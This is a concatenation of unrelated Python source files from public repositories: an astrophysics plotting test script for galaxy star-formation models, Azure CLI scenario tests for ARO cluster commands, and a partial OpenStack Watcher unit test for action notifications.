weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='k', ls='-') sub.set_xlim([6., 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) sub.set_ylim([1e-6, 10**-1.75]) sub.set_yscale('log') sub.set_ylabel('$\Phi$', fontsize=25) #sub.legend(loc='upper right') sub = fig.add_subplot(122) m0s = subcat['m.star0'][isSF] mlow = np.arange(m0s.min(), m0s.max(), 0.5) for i_m in range(len(mlow)): inMbin = np.where((subcat['m.star0'][isSF] > mlow[i_m]) & (subcat['m.star0'][isSF] < mlow[i_m] + 0.5)) smf_sf = Obvs.getMF(subcat['m.sham'][isSF[inMbin]], weights=subcat['weights'][isSF[inMbin]]) if i_m == 0: smf_sf0 = np.zeros(len(smf_sf[0])) smf_sf1 = smf_sf[1] else: smf_sf1 = smf_sf0 + smf_sf[1] mbin_label = ''.join([str(mlow[i_m])+', '+str(mlow[i_m] + 0.5)]) sub.fill_between(smf_sf[0], smf_sf0, smf_sf1, facecolor=pretty_colors[i_m % 20], edgecolor=None, lw=0)#, label=mbin_label) smf_sf0 = smf_sf1 smf_sf = Obvs.getMF(subcat['m.sham'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='k', ls='-') sub.set_xlim([6., 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_{SHAM})$', fontsize=25) sub.set_ylim([1e-6, 10**-1.75]) sub.set_yscale('log') plt.show() elif test == 'pssfr': obv_ssfr = Obvs.Ssfr() isSF = np.where(subcat['gclass'] == 'star-forming') ssfr_bin_mids, ssfr_dists0 = obv_ssfr.Calculate(subcat['m.star0'][isSF], subcat['sfr0'][isSF]-subcat['m.star0'][isSF], subcat['weights'][isSF]) ssfr_bin_mids, ssfr_dists = obv_ssfr.Calculate(subcat['m.star'][isSF], subcat['sfr'][isSF]-subcat['m.star'][isSF], subcat['weights'][isSF]) fig = plt.figure(figsize=(20, 5)) bkgd = fig.add_subplot(111, frameon=False) panel_mass_bins = [[9.7, 10.1], [10.1, 10.5], [10.5, 10.9], [10.9, 11.3]] for i_m, mass_bin in enumerate(panel_mass_bins): sub = fig.add_subplot(1, 4, i_m+1) sub.plot(ssfr_bin_mids[i_m], ssfr_dists0[i_m], lw=3, ls='--', c='b') sub.plot(ssfr_bin_mids[i_m], ssfr_dists[i_m], lw=3, ls='-', c='k') # mark the SSFR of SFMS and Quiescent peak sub.vlines(Obvs.SSFR_SFMS(0.5 * np.sum(mass_bin), UT.z_nsnap(1), theta_SFMS=theta['sfms']), 0., 1.7, color='b', linewidth=3) sub.vlines(Obvs.SSFR_Qpeak(0.5 * np.sum(mass_bin)), 0., 1.7, color='r', linewidth=3) massbin_str = ''.join([ r'$\mathtt{log \; M_{*} = [', str(mass_bin[0]), ',\;', str(mass_bin[1]), ']}$' ]) sub.text(-12., 1.4, massbin_str, fontsize=20) # x-axis sub.set_xlim([-13., -8.]) # y-axis sub.set_ylim([0.0, 1.7]) sub.set_yticks([0.0, 0.5, 1.0, 1.5]) if i_m == 0: sub.set_ylabel(r'$\mathtt{P(log \; SSFR)}$', fontsize=25) else: sub.set_yticklabels([]) ax = plt.gca() leg = sub.legend(bbox_to_anchor=(-8.5, 1.55), loc='upper right', prop={'size': 20}, borderpad=2, bbox_transform=ax.transData, handletextpad=0.5) bkgd.tick_params(labelcolor='none', top='off', bottom='off', left='off', right='off') bkgd.set_xlabel(r'$\mathtt{log \; SSFR \;[yr^{-1}]}$', fontsize=25) plt.show() elif test == 'smhmr': # stellar mass to halo mass relation isSF = np.where(subcat['gclass'] == 'star-forming') smhmr = Obvs.Smhmr() m_mid, mu_mhalo, sig_mhalo, cnts = smhmr.Calculate(subcat['m.star'][isSF], subcat['halo.m'][isSF]) fig = plt.figure() sub = fig.add_subplot(111) sub.errorbar(m_mid, mu_mhalo, yerr=sig_mhalo) sub.fill_between(m_mid, mu_mhalo - 0.2, mu_mhalo + 0.2, color='k', alpha=0.25, linewidth=0, edgecolor=None) sub.set_xlim([8., 12.]) sub.set_xlabel('Stellar Mass $(\mathcal{M}_*)$', fontsize=25) sub.set_ylabel('Halo Mass $(\mathcal{M}_{halo})$', fontsize=25) plt.show() elif test == 'sfms': isSF = np.where(subcat['gclass'] == 'star-forming') bovy.scatterplot(subcat['m.star'][isSF], subcat['sfr'][isSF], scatter=True, s=2, xrange=[8., 12.], yrange=[-4., 3.], xlabel='\mathtt{log\;M_*}', ylabel='\mathtt{log\;SFR}') m_arr = np.arange(8., 12.1, 0.1) plt.plot(m_arr, Obvs.SSFR_SFMS(m_arr, UT.z_nsnap(1), theta_SFMS=theta['sfms']) + m_arr, c='r', lw=2, ls='-') plt.plot(m_arr, Obvs.SSFR_SFMS(m_arr, UT.z_nsnap(1), theta_SFMS=theta['sfms']) + m_arr - 0.3, c='r', lw=2, ls='-.') plt.plot(m_arr, Obvs.SSFR_SFMS(m_arr, UT.z_nsnap(1), theta_SFMS=theta['sfms']) + m_arr + 0.3, c='r', lw=2, ls='-.') plt.show() elif test == 'delMstar': # difference between sham M* and integrated M* isSF = np.where(subcat['gclass'] == 'star-forming') delMstar = subcat['m.star'][isSF] - subcat['m.sham'][isSF] # Delta M* bovy.scatterplot(subcat['m.star'][isSF], delMstar, scatter=True, s=2, xrange=[8., 12.], yrange=[-4., 4.], xlabel='\mathtt{log\;M_*}', ylabel='\mathtt{log\;M_* - log\;M_{sham}}') plt.show() elif test == 'delMgrowth': isSF = np.where(subcat['gclass'] == 'star-forming') bovy.scatterplot(subcat['m.star'][isSF], subcat['m.star'][isSF] - subcat['m.star0'][isSF], scatter=True, s=2, xrange=[8., 12.], yrange=[-4., 4.], xlabel=r'{\rm Integrated}\;\mathtt{log\;M_*}', ylabel='\mathtt{log\;M_* - log\;M_0}') bovy.scatterplot(subcat['m.sham'][isSF], subcat['m.sham'][isSF] - subcat['m.star0'][isSF], scatter=True, s=2, xrange=[8., 12.], yrange=[-4., 4.], xlabel=r'{\rm SHAM}\;\mathtt{log\;M_*}', ylabel='\mathtt{log\;M_* - log\;M_0}') plt.show() elif test == 'sfh_sfms': # plot the SFH as a function of time # first pick a random SF galaxy isSF = np.where((subcat['gclass'] == 'star-forming') & (subcat['nsnap_start'] == 20))[0] m_bin = np.arange(9.0, 12., 0.5) i_bin = np.digitize(subcat['m.star0'][isSF], m_bin) fig = plt.figure() sub = fig.add_subplot(111) for i in np.unique(i_bin): i_rand = np.random.choice(np.where(i_bin == i)[0], size=1)[0] sfrs = [subcat['sfr0'][isSF[i_rand]]] mstars = [subcat['m.star0'][isSF[i_rand]]] for nn in range(2, 20)[::-1]: sfrs.append(subcat['snapshot'+str(nn)+'_sfr'][isSF[i_rand]]) mstars.append(subcat['snapshot'+str(nn)+'_m.star'][isSF[i_rand]]) sfrs.append(subcat['sfr'][isSF[i_rand]]) mstars.append(subcat['m.star'][isSF[i_rand]]) sub.scatter(mstars, sfrs, c=pretty_colors[i], lw=0) sub.set_xlim([9.0, 13.]) sub.set_xlabel('Stellar Mass $(\mathcal{M}_*)$', fontsize=25) sub.set_ylabel('log SFR', fontsize=25) plt.show() elif test == 'sfh': # plot the SFH as a function of time # first pick a random SF galaxy isSF = np.where((subcat['gclass'] == 'star-forming') & (subcat['nsnap_start'] == 20))[0] m_bin = np.arange(9.0, 12.5, 0.5) i_bin = np.digitize(subcat['m.star0'][isSF], m_bin) fig = plt.figure() sub = fig.add_subplot(111) for i in np.unique(i_bin): i_rand = np.random.choice(np.where(i_bin == i)[0], size=1)[0] dsfrs = [subcat['sfr0'][isSF[i_rand]] - (Obvs.SSFR_SFMS( subcat['m.star0'][isSF[i_rand]], UT.z_nsnap(20), theta_SFMS=eev.theta_sfms) + subcat['m.star0'][isSF[i_rand]])[0]] for nn in range(2, 20)[::-1]: M_nn = subcat['snapshot'+str(nn)+'_m.star'][isSF[i_rand]] mu_sfr = Obvs.SSFR_SFMS(M_nn, UT.z_nsnap(nn), theta_SFMS=eev.theta_sfms) + M_nn dsfrs.append(subcat['snapshot'+str(nn)+'_sfr'][isSF[i_rand]] - mu_sfr[0]) mu_sfr = Obvs.SSFR_SFMS(subcat['m.star'][isSF[i_rand]], UT.z_nsnap(1), theta_SFMS=eev.theta_sfms) + subcat['m.star'][isSF[i_rand]] dsfrs.append(subcat['sfr'][isSF[i_rand]] - mu_sfr[0]) sub.plot(UT.t_nsnap(range(1,21)[::-1]), dsfrs, c=pretty_colors[i], lw=2) #sub.set_xlim([9.0, 13.]) sub.set_xlabel('$t_{cosmic}$', fontsize=25) sub.set_ylabel('$\Delta$log SFR', fontsize=25) plt.show() return None def test_assignSFRs(): ''' Test that Evol.assignSFRs function is working as expected. ''' zsnaps, tsnaps = UT.zt_table() # load in snapshot redshifts subhist = Cat.PureCentralHistory(nsnap_ancestor=20) subcat = subhist.Read() # load in generic theta (parameter values) theta = Evol.defaultTheta() out = Evol.assignSFRs(subcat['m.star'], np.repeat(zsnaps[20], len(subcat['m.star'])), theta_GV=theta['gv'], theta_SFMS=theta['sfms'], theta_FQ=theta['fq']) # calculate their SSFRs obv_ssfr = Obvs.Ssfr() ssfr_bin_mids, ssfr_dists = obv_ssfr.Calculate(subcat['m.star'], out['SFR']-subcat['m.star']) fig = plt.figure(figsize=(20, 5)) bkgd = fig.add_subplot(111, frameon=False) panel_mass_bins = [[9.7, 10.1], [10.1, 10.5], [10.5, 10.9], [10.9, 11.3]] for i_m, mass_bin in enumerate(panel_mass_bins): sub = fig.add_subplot(1, 4, i_m+1) sub.plot(ssfr_bin_mids[i_m], ssfr_dists[i_m], lw=3, ls='-', c='k') # mark the SSFR of SFMS and Quiescent peak sub.vlines(Obvs.SSFR_SFMS(0.5 * np.sum(mass_bin), zsnaps[20], theta_SFMS=theta['sfms']), 0., 1.7, color='b', linewidth=3) sub.vlines(Obvs.SSFR_Qpeak(0.5 * np.sum(mass_bin)), 0., 1.7, color='r', linewidth=3) massbin_str = ''.join([ r'$\mathtt{log \; M_{*} = [', str(mass_bin[0]), ',\;', str(mass_bin[1]), ']}$' ]) sub.text(-12., 1.4, massbin_str, fontsize=20) # x-axis sub.set_xlim([-13., -8.]) # y-axis sub.set_ylim([0.0, 1.7]) sub.set_yticks([0.0, 0.5, 1.0, 1.5]) if i_m == 0: sub.set_ylabel(r'$\mathtt{P(log \; SSFR)}$', fontsize=25) else: sub.set_yticklabels([]) ax = plt.gca() leg = sub.legend(bbox_to_anchor=(-8.5, 1.55), loc='upper right', prop={'size': 20}, borderpad=2, bbox_transform=ax.transData, handletextpad=0.5) bkgd.tick_params(labelcolor='none', top='off', bottom='off', left='off', right='off') bkgd.set_xlabel(r'$\mathtt{log \; SSFR \;[yr^{-1}]}$', fontsize=25) plt.show() return None if __name__=="__main__": test_CentralSMHMR() #test_Evolver_time('random_step_fluct', nsnap0=15, downsampled='14', tduty=1., abias=0.) #test_RandomStep_timescale(sig_smhm=0.2, nsnap_ancestor=15) #EvolverPlots('constant_offset') #EvolverPlots('corr_constant_offset') #EvolverPlots('random_step', nsnap0=15) #test_AssemblyBias(0.0, nsnap0=15, downsampled='14') #test_Evolver_AssemblyBias(0.3, nsnap0=15) #EvolverPlots('constant_offset', nsnap0=15) #EvolverPlots('random_step', nsnap0=15) #EvolverPlots('random_step_fluct', nsnap0=15) #EvolverPlots('random_step_abias2', nsnap0=15) #test_Evolver_logSFRinitiate('random_step_abias', nsnap0=15) #test_Evolver_logSFRinitiate('random_step_fluct', nsnap0=15) #test_Evolver_ODEsolver('random_step_fluct', nsnap0=15) #test_EvolverEvolve('smf', nsnap0=15, downsampled='14') #test_EvolverInitiate('pssfr', 15) #test_EvolverInitSF('pssfr', 15, nsnap0=15, downsampled='14') #test_assignSFRs()

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commentjson/__init__.py

mattpearson/commentjson

cb7219dcc6761c7c06cca0d8724908bc2477ab29

[ "MIT" ]

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commentjson/__init__.py

mattpearson/commentjson

cb7219dcc6761c7c06cca0d8724908bc2477ab29

[ "MIT" ]

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commentjson/__init__.py

mattpearson/commentjson

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src/azure-cli/azure/cli/command_modules/aro/tests/latest/test_aro_commands.py

kwoodson/azure-cli

4efdc3a2f1d72d1102d8a1969bbc97b518353d6a

[ "MIT" ]

2

2020-08-08T11:00:25.000Z

2020-08-08T11:00:30.000Z

src/azure-cli/azure/cli/command_modules/aro/tests/latest/test_aro_commands.py

kwoodson/azure-cli

4efdc3a2f1d72d1102d8a1969bbc97b518353d6a

[ "MIT" ]

1

2021-06-02T02:49:48.000Z

src/azure-cli/azure/cli/command_modules/aro/tests/latest/test_aro_commands.py

anjannaskar93/azure-cli-100

cc3a15959e8a19a3e24fa4e8648dea3c32ffd901

[ "MIT" ]

1

2020-07-31T17:22:13.000Z

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- import os import unittest from random import randint import mock from knack.log import get_logger from azure_devtools.scenario_tests import AllowLargeResponse from azure.cli.testsdk import ScenarioTest, ResourceGroupPreparer from azure.cli.testsdk.checkers import StringContainCheck logger = get_logger(__name__) class AroScenarioTests(ScenarioTest): @AllowLargeResponse() @ResourceGroupPreparer(random_name_length=28, name_prefix='cli_test_aro_create', location='eastus') def test_aro_create(self, resource_group): from msrestazure.tools import resource_id subscription = self.get_subscription_id() master_subnet = self.create_random_name('dev_master', 14) worker_subnet = self.create_random_name('dev_worker', 14) self.kwargs.update({ 'name': self.create_random_name('aro', 14), 'resource_group': resource_group, 'subscription': subscription, 'master_subnet': master_subnet, 'worker_subnet': worker_subnet, 'master_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'worker_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'master_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=master_subnet), 'worker_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=worker_subnet), }) self.cmd('network vnet create -g {rg} -n dev-vnet --address-prefixes 10.0.0.0/9') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {master_subnet} --address-prefixes {master_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {worker_subnet} --address-prefixes {worker_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet update -g {rg} --vnet-name dev-vnet -n {master_subnet} --disable-private-link-service-network-policies true') with mock.patch('azure.cli.command_modules.aro._rbac._gen_uuid', side_effect=self.create_guid): self.cmd('aro create -g {rg} -n {name} --master-subnet {master_subnet_resource} --worker-subnet {worker_subnet_resource} --subscription {subscription} --tags test=create', checks=[ self.check('tags.test', 'create'), self.check('name', '{name}'), self.check('masterProfile.subnetId', '{master_subnet_resource}'), self.check('workerProfiles[0].subnetId', '{worker_subnet_resource}'), self.check('provisioningState', 'Succeeded') ]) @AllowLargeResponse() @ResourceGroupPreparer(random_name_length=28, name_prefix='cli_test_aro_list_cred', location='eastus') def test_aro_list_credentials(self, resource_group): from msrestazure.tools import resource_id subscription = self.get_subscription_id() master_subnet = self.create_random_name('dev_master', 14) worker_subnet = self.create_random_name('dev_worker', 14) self.kwargs.update({ 'name': self.create_random_name('aro', 14), 'resource_group': resource_group, 'subscription': subscription, 'master_subnet': master_subnet, 'worker_subnet': worker_subnet, 'master_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'worker_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'master_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=master_subnet), 'worker_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=worker_subnet), }) self.cmd('network vnet create -g {rg} -n dev-vnet --address-prefixes 10.0.0.0/9') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {master_subnet} --address-prefixes {master_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {worker_subnet} --address-prefixes {worker_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet update -g {rg} --vnet-name dev-vnet -n {master_subnet} --disable-private-link-service-network-policies true') with mock.patch('azure.cli.command_modules.aro._rbac._gen_uuid', side_effect=self.create_guid): self.cmd('aro create -g {rg} -n {name} --master-subnet {master_subnet_resource} --worker-subnet {worker_subnet_resource} --subscription {subscription} --tags test=list-cred') self.cmd('aro list-credentials -g {rg} -n {name} --subscription {subscription}', checks=[self.check('kubeadminUsername', 'kubeadmin')]) @AllowLargeResponse() @ResourceGroupPreparer(random_name_length=28, name_prefix='cli_test_aro_show', location='eastus') def test_aro_show(self, resource_group): from msrestazure.tools import resource_id subscription = self.get_subscription_id() master_subnet = self.create_random_name('dev_master', 14) worker_subnet = self.create_random_name('dev_worker', 14) name = self.create_random_name('aro', 14) self.kwargs.update({ 'name': name, 'resource_group': resource_group, 'subscription': subscription, 'master_subnet': master_subnet, 'worker_subnet': worker_subnet, 'master_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'worker_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'master_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=master_subnet), 'worker_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=worker_subnet), }) self.cmd('network vnet create -g {rg} -n dev-vnet --address-prefixes 10.0.0.0/9') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {master_subnet} --address-prefixes {master_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {worker_subnet} --address-prefixes {worker_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet update -g {rg} --vnet-name dev-vnet -n {master_subnet} --disable-private-link-service-network-policies true') with mock.patch('azure.cli.command_modules.aro._rbac._gen_uuid', side_effect=self.create_guid): self.cmd('aro create -g {rg} -n {name} --master-subnet {master_subnet_resource} --worker-subnet {worker_subnet_resource} --subscription {subscription} --tags test=show') self.cmd('aro show -g {rg} -n {name} --subscription {subscription} --output table', checks=[ StringContainCheck(name), StringContainCheck(resource_group), StringContainCheck('eastus'), StringContainCheck('Succeeded'), ]) @AllowLargeResponse() @ResourceGroupPreparer(random_name_length=28, name_prefix='cli_test_aro_list', location='eastus') def test_aro_list(self, resource_group): from msrestazure.tools import resource_id subscription = self.get_subscription_id() master_subnet = self.create_random_name('dev_master', 14) worker_subnet = self.create_random_name('dev_worker', 14) self.kwargs.update({ 'name': self.create_random_name('aro', 14), 'resource_group': resource_group, 'subscription': subscription, 'master_subnet': master_subnet, 'worker_subnet': worker_subnet, 'master_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'worker_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'master_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=master_subnet), 'worker_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=worker_subnet), }) self.cmd('network vnet create -g {rg} -n dev-vnet --address-prefixes 10.0.0.0/9') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {master_subnet} --address-prefixes {master_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {worker_subnet} --address-prefixes {worker_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet update -g {rg} --vnet-name dev-vnet -n {master_subnet} --disable-private-link-service-network-policies true') with mock.patch('azure.cli.command_modules.aro._rbac._gen_uuid', side_effect=self.create_guid): self.cmd('aro create -g {rg} -n {name} --master-subnet {master_subnet_resource} --worker-subnet {worker_subnet_resource} --subscription {subscription} --tags test=list') self.cmd('aro list -g {rg} --subscription {subscription}', checks=[ self.check('[0].name', '{name}'), self.check('[0].provisioningState', 'Succeeded'), self.check_pattern('[0].id', '.*{name}') ]) @AllowLargeResponse() @ResourceGroupPreparer(random_name_length=28, name_prefix='cli_test_aro_delete', location='eastus') def test_aro_delete(self, resource_group): from msrestazure.tools import resource_id subscription = self.get_subscription_id() master_subnet = self.create_random_name('dev_master', 14) worker_subnet = self.create_random_name('dev_worker', 14) self.kwargs.update({ 'name': self.create_random_name('aro', 14), 'resource_group': resource_group, 'subscription': subscription, 'master_subnet': master_subnet, 'worker_subnet': worker_subnet, 'master_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'worker_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'master_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=master_subnet), 'worker_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=worker_subnet), }) self.cmd('network vnet create -g {rg} -n dev-vnet --address-prefixes 10.0.0.0/9') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {master_subnet} --address-prefixes {master_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {worker_subnet} --address-prefixes {worker_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet update -g {rg} --vnet-name dev-vnet -n {master_subnet} --disable-private-link-service-network-policies true') with mock.patch('azure.cli.command_modules.aro._rbac._gen_uuid', side_effect=self.create_guid): self.cmd('aro create -g {rg} -n {name} --master-subnet {master_subnet_resource} --worker-subnet {worker_subnet_resource} --subscription {subscription} --tags test=delete') self.cmd('aro delete -y -g {rg} -n {name} --subscription {subscription}', expect_failure=False) @AllowLargeResponse() @ResourceGroupPreparer(random_name_length=28, name_prefix='cli_test_aro_update', location='eastus') def test_aro_update(self, resource_group): from msrestazure.tools import resource_id subscription = self.get_subscription_id() master_subnet = self.create_random_name('dev_master', 14) worker_subnet = self.create_random_name('dev_worker', 14) self.kwargs.update({ 'name': self.create_random_name('aro', 14), 'resource_group': resource_group, 'subscription': subscription, 'master_subnet': master_subnet, 'worker_subnet': worker_subnet, 'master_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'worker_ip_range': '10.{}.{}.0/24'.format(randint(0, 127), randint(0, 255)), 'master_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=master_subnet), 'worker_subnet_resource': resource_id(subscription=subscription, resource_group=resource_group, namespace='Microsoft.Network', type='virtualNetworks', child_type_1='subnets', name='dev-vnet', child_name_1=worker_subnet), }) self.cmd('network vnet create -g {rg} -n dev-vnet --address-prefixes 10.0.0.0/9') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {master_subnet} --address-prefixes {master_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet create -g {rg} --vnet-name dev-vnet -n {worker_subnet} --address-prefixes {worker_ip_range} --service-endpoints Microsoft.ContainerRegistry') self.cmd('network vnet subnet update -g {rg} --vnet-name dev-vnet -n {master_subnet} --disable-private-link-service-network-policies true') with mock.patch('azure.cli.command_modules.aro._rbac._gen_uuid', side_effect=self.create_guid): self.cmd('aro create -g {rg} -n {name} --master-subnet {master_subnet_resource} --worker-subnet {worker_subnet_resource} --subscription {subscription} --tags test=update') self.cmd('aro update -g {rg} -n {name} --subscription {subscription}', expect_failure=False)

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0c8675bccd5384229259eb1af6b81163bec0cc68

22,442

py

Python

python-watcher-2.0.0/watcher/tests/notifications/test_action_notification.py

scottwedge/OpenStack-Stein

7077d1f602031dace92916f14e36b124f474de15

[ "Apache-2.0" ]

null

python-watcher-2.0.0/watcher/tests/notifications/test_action_notification.py

scottwedge/OpenStack-Stein

7077d1f602031dace92916f14e36b124f474de15

[ "Apache-2.0" ]

5

2019-08-14T06:46:03.000Z

2021-12-13T20:01:25.000Z

python-watcher-2.0.0/watcher/tests/notifications/test_action_notification.py

scottwedge/OpenStack-Stein

7077d1f602031dace92916f14e36b124f474de15

[ "Apache-2.0" ]

2

2020-03-15T01:24:15.000Z

2020-07-22T20:34:26.000Z

# All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import freezegun import mock import oslo_messaging as om from watcher.common import exception from watcher.common import rpc from watcher import notifications from watcher import objects from watcher.tests.db import base from watcher.tests.objects import utils @freezegun.freeze_time('2016-10-18T09:52:05.219414') class TestActionNotification(base.DbTestCase): def setUp(self): super(TestActionNotification, self).setUp() p_get_notifier = mock.patch.object(rpc, 'get_notifier') m_get_notifier = p_get_notifier.start() self.addCleanup(p_get_notifier.stop) self.m_notifier = mock.Mock(spec=om.Notifier) def fake_get_notifier(publisher_id): self.m_notifier.publisher_id = publisher_id return self.m_notifier m_get_notifier.side_effect = fake_get_notifier self.goal = utils.create_test_goal(mock.Mock()) self.strategy = utils.create_test_strategy(mock.Mock()) self.audit = utils.create_test_audit(mock.Mock(), strategy_id=self.strategy.id) self.action_plan = utils.create_test_action_plan(mock.Mock()) def test_send_invalid_action_plan(self): action_plan = utils.get_test_action_plan( mock.Mock(), state='DOESNOTMATTER', audit_id=1) self.assertRaises( exception.InvalidActionPlan, notifications.action_plan.send_update, mock.MagicMock(), action_plan, host='node0') def test_send_action_update(self): action = utils.create_test_action( mock.Mock(), state=objects.action.State.ONGOING, action_type='nop', input_parameters={'param1': 1, 'param2': 2}, parents=[], action_plan_id=self.action_plan.id) notifications.action.send_update( mock.MagicMock(), action, host='node0', old_state=objects.action.State.PENDING) # The 1st notification is because we created the object. # The 2nd notification is because we created the action plan object. self.assertEqual(4, self.m_notifier.info.call_count) notification = self.m_notifier.info.call_args[1] payload = notification['payload'] self.assertEqual("infra-optim:node0", self.m_notifier.publisher_id) self.assertDictEqual( { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionUpdatePayload', 'watcher_object.data': { 'uuid': '10a47dd1-4874-4298-91cf-eff046dbdb8d', 'input_parameters': { 'param2': 2, 'param1': 1 }, 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state_update': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionStateUpdatePayload', 'watcher_object.data': { 'old_state': 'PENDING', 'state': 'ONGOING' } }, 'state': 'ONGOING', 'action_plan': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.1', 'watcher_object.name': 'TerseActionPlanPayload', 'watcher_object.data': { 'uuid': '76be87bd-3422-43f9-93a0-e85a577e3061', 'global_efficacy': [], 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'ONGOING', 'audit_uuid': '10a47dd1-4874-4298' '-91cf-eff046dbdb8d', 'strategy_uuid': 'cb3d0b58-4415-4d90' '-b75b-1e96878730e3', 'deleted_at': None } }, 'parents': [], 'action_type': 'nop', 'deleted_at': None } }, payload ) def test_send_action_plan_create(self): action = utils.create_test_action( mock.Mock(), state=objects.action.State.PENDING, action_type='nop', input_parameters={'param1': 1, 'param2': 2}, parents=[], action_plan_id=self.action_plan.id) notifications.action.send_create(mock.MagicMock(), action, host='node0') self.assertEqual(4, self.m_notifier.info.call_count) notification = self.m_notifier.info.call_args[1] payload = notification['payload'] self.assertEqual("infra-optim:node0", self.m_notifier.publisher_id) self.assertDictEqual( { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionCreatePayload', 'watcher_object.data': { 'uuid': '10a47dd1-4874-4298-91cf-eff046dbdb8d', 'input_parameters': { 'param2': 2, 'param1': 1 }, 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'PENDING', 'action_plan': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.1', 'watcher_object.name': 'TerseActionPlanPayload', 'watcher_object.data': { 'uuid': '76be87bd-3422-43f9-93a0-e85a577e3061', 'global_efficacy': [], 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'ONGOING', 'audit_uuid': '10a47dd1-4874-4298' '-91cf-eff046dbdb8d', 'strategy_uuid': 'cb3d0b58-4415-4d90' '-b75b-1e96878730e3', 'deleted_at': None } }, 'parents': [], 'action_type': 'nop', 'deleted_at': None } }, payload ) def test_send_action_delete(self): action = utils.create_test_action( mock.Mock(), state=objects.action.State.DELETED, action_type='nop', input_parameters={'param1': 1, 'param2': 2}, parents=[], action_plan_id=self.action_plan.id) notifications.action.send_delete(mock.MagicMock(), action, host='node0') # The 1st notification is because we created the audit object. # The 